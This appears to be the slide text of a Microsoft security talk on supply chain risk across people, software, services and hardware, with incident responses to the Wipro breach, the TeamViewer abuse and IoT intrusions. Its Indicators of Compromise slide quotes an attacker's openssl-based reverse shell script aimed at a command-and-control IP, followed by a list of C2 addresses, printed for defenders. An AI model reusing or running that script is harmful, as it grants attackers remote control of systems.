We all know the world rests on a giant turtle...

Turtles all the way down...
I’m in your supply chain, and you’re in mine.
We’re in this together.
Am I in your supply chain?

Are you in mine?

- Linux is the most popular OS on Azure
- >35k unique OSS projects
- >10K 3rd party tools
- Surface, Hololens, Xbox hardware suppliers
- Server infrastructure in the Microsoft cloud
- And more…
Media is overly focused on hardware

Cybersecurity
New Evidence of Hacked Supermicro Hardware Found in U.S. Telecom

WHAT HAPPENED WITH SUPERMICRO?
by: Bob Baddeley

Trump administration bans federal agencies from buying Huawei, ZTE tech

Supply chain > hardware
I’m not talking about...

OR

And definitely not
Evaluating supply chain risk
How we think about Supply Chain Risk

Hardware

Software

Services

People
How do we defend Microsoft?
Commonalities & differences
### Microsoft environment today

<table>
<thead>
<tr>
<th><strong>135K</strong></th>
<th>Number of employees</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>420K</strong></td>
<td>Managed devices hitting the network</td>
</tr>
<tr>
<td><strong>3M</strong></td>
<td>Transactions on the sales platform per day</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th><strong>120+</strong></th>
<th>Number of countries with Microsoft offices</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>94%</strong></td>
<td>On-premises workload reduction</td>
</tr>
<tr>
<td><strong>200+</strong></td>
<td>Cloud based services</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th><strong>630B</strong></th>
<th>Authentication requests per month</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>842K</strong></td>
<td>Microsoft Teams meetings/month</td>
</tr>
<tr>
<td><strong>100+</strong></td>
<td>Data Centers worldwide</td>
</tr>
</tbody>
</table>
Microsoft Cloud

>100 Data Centers

54 Regions 140 Countries
Microsoft is a complex company to defend... how do we do it?
Cyber Defense Operations Center – Defending as One

• Centralized hubs for cybersecurity and defense; uniting personnel from each defender team

• Shared technology, analytics, playbooks

• Shared locations, and more importantly a commitment to “defend together”

• **24 x 7 x 365** protection of Microsoft platform and customers
Let’s talk about people
There are people in your supply chain

Wipro confirms attack on IT systems, hires forensic investigation firm

“...detected a potentially abnormal activity in a few employee accounts on our network due to an advanced phishing campaign.” Wipro said in a statement.

Incident Of The Week: Inside The Phishy Wipro Breach

IT outsourcing giant was hit by a cyber security attack that has created a buzz around ‘what not to do’

WHAT ARE THEY AFTER?

It appears the attackers in this case are targeting companies that in one form or another have access to either a ton of third-party company resources, and/or companies that can be abused to conduct gift card fraud.
**People Supply Chain Example**

1. During unknown time period, a financially motivated threat actor allegedly compromises Wipro network and gains access to multiple companies through trusted vendor relationships.

   - Credential compromise
   - Backdoor
   - Lateral movement

2. **Gift Card abuse**

   - 3rd PARTY REPORTING

   - Apr 2019 CDOC teams mobilized based on reports of potential compromise to determine the risk exposure of to Microsoft and Microsoft customers.

3. **Potential Impact**

   - Microsoft Vendors (People)

   - Apr 2019 After a thorough investigation, no malicious activity observed within Microsoft.

**Response**

- Risk assessment and vendor inventory audit performed
- Block newly identified malicious domains
- Precautionary reset of credentials for vendor accounts
- Additional monitoring of systems belonging vendor employees
- Windows Defender signature deployed to detect adversary’s specific Mimikatz Binary
Practical Advice
Securing people in your supply chain

- Always “assume breach”
- Strict inventory of vendor & partner access
- Automated policy governance where possible
- Follow principle of least privilege
- Provide devices and/or virtual monitoring
- Any privileged access needs tighter controls (MFA etc) and detection systems in place
Let’s talk about software
There is software in your supply chain

Recent findings from CCleaner APT investigation reveal that attackers entered the Piriform network via TeamViewer

Ondrej Vlcek
17 April 2018
1. April 2018: Reports that Team Viewer software and/or infrastructure is leveraged by threat actors.

2. OEMs use service for provisioning and troubleshooting of physical machines.

3. Service is connected to internal resources for deployment of new hardware.

4. Threat Actor could leverage service to install firmware or bios implants on physical machines during OEM deployment.

5. Machines are re-imaged prior to delivery or deployment.

Potential Actions on Objective:

- Theoretically an implant could remain after provisioning:
  - Steal data
  - Disrupt or deny access
  - Distribute and manage malware

Response:

- Performed audit of software usage to assess risk if software was compromised
- Updated policy to block remote access software
- Notifications sent to impacted employees
- AppLocker and firewall blocks put in place
- Updated contracts with suppliers
## Practical Advice

**Securing Software in your supply chain**

<table>
<thead>
<tr>
<th>Pre-Selection</th>
<th>Selection</th>
<th>Contract</th>
<th>Onboard</th>
<th>Monitor</th>
<th>Terminate</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Shortlist software solutions and suppliers with strong security credentials.</strong>&lt;br&gt;Kick off security engagements during RFP and shortlisting phase.</td>
<td><strong>Risk Profiling &amp; Assessment Services</strong>&lt;br&gt;Enable the selection of software solutions and suppliers which adhere to defined Microsoft Security requirements.&lt;br&gt;Perform security assurance prior to contract negotiations to enable customers/business groups to make risk-based decisions.</td>
<td><strong>Standard Contract Language Review &amp; Contract Negotiation Consulting</strong>&lt;br&gt;Apply enforceable terms to contracts in relation to Microsoft Security and Privacy requirements.</td>
<td><strong>Remediation</strong>&lt;br&gt;Ensure customers/business groups are aware of any ongoing expectations related to their chosen software solutions and suppliers.&lt;br&gt;Ensure suppliers are committed to the requirements set forth for their software solutions and organization, and their responsibility to remediate any known or open issues.</td>
<td><strong>Risk Profiling Continuous Monitoring</strong>&lt;br&gt;Perform monitoring and periodic re-assessments based on the status of and changes to the risk profiles.&lt;br&gt;Investigate changes in risk assessment and move to termination if they cannot be quickly addressed.</td>
<td><strong>Termination Support</strong>&lt;br&gt;Implement necessary safeguards for solutions being decommissioned and provide termination support.&lt;br&gt;Perform periodic review of software solution usage and contract information to identify solutions which are inactive or expected to be decommissioned.</td>
</tr>
</tbody>
</table>
Let’s talk about services
Do you inventory every service you use?
Upstream vs. Downstream

**Upstream**

- DNS
- PKI
- Cloud service providers
- VPN service providers
- ISPs
- Any business partner you rely on to provide you services

**Downstream**

- Financial outsourcing
- Content delivery networks
- Distribution services (e.g. Github, Dropbox, etc.)
- Push networks
- Any business partner that helps you provide services to your customers
Response

- Inspected exposed data to evaluate risk
- Expired all valid one-time tokens immediately to contain risk
- Work began to investigate the scope and impact of the potential disclosure
- Investigated potential attempted or successful logins
- No misuse of the two-factor codes was identified
Ok, let’s talk about hardware
Response

• Mobilized CDOC responders to investigate and partner with 3rd party customer security teams
• IOT devices were quarantined and sent for forensic analysis
• Impacted service account credentials were changed
• Malicious domains and IPs were blocked on affected networks
• Proactively shared adversary TTPs with IOT vendors
Indicators of Compromise (1/2)

--contents of [IOT Device] file--

#!/bin/sh

export [IOT Device] ="-qws -display :1 -nomouse"

echo 1|tee /tmp/.c;sh -c '(until (sh -c "openssl s_client -quiet -host 167.114.153.55 -port 443
|while : ; do sh && break; done| openssl s_client -quiet -host 167.114.153.55 -port 443"); do (sleep 10 && cn=$((`cat /tmp/.c`+1)) && echo $cn|tee /tmp.c && if [ $cn -ge 30 ]; then (rm /tmp/.c; pkill -f 'openssl'); fi);done)&' &

--end contents of file--
Indicators of Compromise (2/2)

The following IP addresses are believed to have been used by the actor for command and control (C2):

167.114.153.55
94.237.37.28
82.118.242.171
31.220.61.251
128.199.199.187

More details on our blog [https://msrc-blog.microsoft.com/2019/08/05/corporate-iot-a-path-to-intrusion/](https://msrc-blog.microsoft.com/2019/08/05/corporate-iot-a-path-to-intrusion/)
4 Takeaways
Share More

Let’s make the adversaries work harder by working together.
How can we share more?

We need to change our cultural approach

- Media: “name and shame” → “learn and defend together”
- Customer: “why was there an issue” → “how did they respond?”
- Business: “containment & opacity” → “partnership & transparency”
- Disclosure: “code defects” → “tactics that work”
Response matters

We should focus more on how companies respond to security events, not whether they happen.
Remember, we’re all in this together

Best Practices:

• Proactively inform customer of impact
• Engage transparently and without defensiveness
• Respond to reasonable requests for validation
• Learn from mistakes
Sweat the small stuff

Adversaries will find the path of least resistance.
Embrace the whole

People + Software + Services + Hardware = Supply Chain
Thanks!